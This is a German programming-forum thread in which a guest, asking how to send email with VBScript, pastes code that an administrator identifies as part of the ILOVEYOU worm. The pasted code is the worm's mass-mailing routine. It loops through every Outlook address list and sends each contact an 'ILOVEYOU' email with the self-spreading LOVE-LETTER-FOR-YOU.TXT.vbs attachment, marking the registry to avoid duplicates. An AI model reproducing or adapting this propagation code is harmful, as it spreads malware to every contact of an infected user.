Herzlich Willkommen, lieber Gast!
  Sie befinden sich hier:

  Forum » Visual Basic 6.0 / VBA » mail senden mit vb

Forum | Hilfe | Team | Links | Impressum | > Suche < | Mitglieder | Registrieren | Einloggen
  Quicklinks: MSDN-Online || STL || clib Reference Grundlagen || Literatur || E-Books || Zubehör || > F.A.Q. < || Downloads   

Autor Thread - Seiten: > 1 <
000
08.12.2005, 18:11 Uhr
~emailuser
Gast


hallo!

Ich bin noch sehr neu in der vb/vbs Programmierung. :O
Jedoch bat mich mein Firmenchef ein Programm zu schreiben, dass eine Mail versenden kann, dieses Programm muss aus Kompaktibilitätsproblemen leider in vbs geschrieben werden. Darum googelte ich mal im Internet um Infos zu bekommen. Ich habe folgenden Code gefunden:


Visual Basic:
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB"&a)
if (regv="") then
regv=1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB"&malead)
if (regad="") then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB"&malead,1,"REG_DWORD"
end if
x=x+1
next
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB"&a,a.AddressEntries.Count
else
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB"&a,a.AddressEntries.Count
end if
next
Set out=Nothing
Set mapi=Nothing



Wenn ich den Code ausführe bekomme ich aber folgenden Fehler:

Zeile: 8
Zeichen: 1
Fehler: Registrierungschlüssel "HKEY_CURRENT_USER....." wurde nicht zum Lesen geöffnet.
Code: 80070002
Quelle: WshShell.RegRead

Was kann ich dagegen tun?
Wo liegt der Fehler?
 
Profil || Private Message || Suche Download || Zitatantwort || Editieren || Löschen || IP
001
08.12.2005, 18:25 Uhr
FloSoft
Medialer Over-Flow
(Administrator)


weil erstens einiges fehlt, und zweitens du da scheinbar ein teil vom "i-love-you" wurm source erwischt hast
--
class God : public ChuckNorris { };
 
Profil || Private Message || Suche Download || Zitatantwort || Editieren || Löschen || IP
002
08.12.2005, 23:04 Uhr
Uwe
C/C++ Master
(Administrator)


www.fun-soft.de/showtopic.php?threadid=13550&post_start=lastpage&time=1133972928#reply
--
"Es ist schwierig, ein Programm wirklich idiotensicher zu machen, weil Idioten so genial sind."

Bis dann...
Uwe
 
Profil || Private Message || Suche Download || Zitatantwort || Editieren || Löschen || IP
Seiten: > 1 <     [ Visual Basic 6.0 / VBA ]  


ThWBoard 2.73 FloSoft-Edition
© by Paul Baecher & Felix Gonschorek (www.thwboard.de)

Anpassungen des Forums
© by Flo-Soft (www.flo-soft.de)

Sie sind Besucher: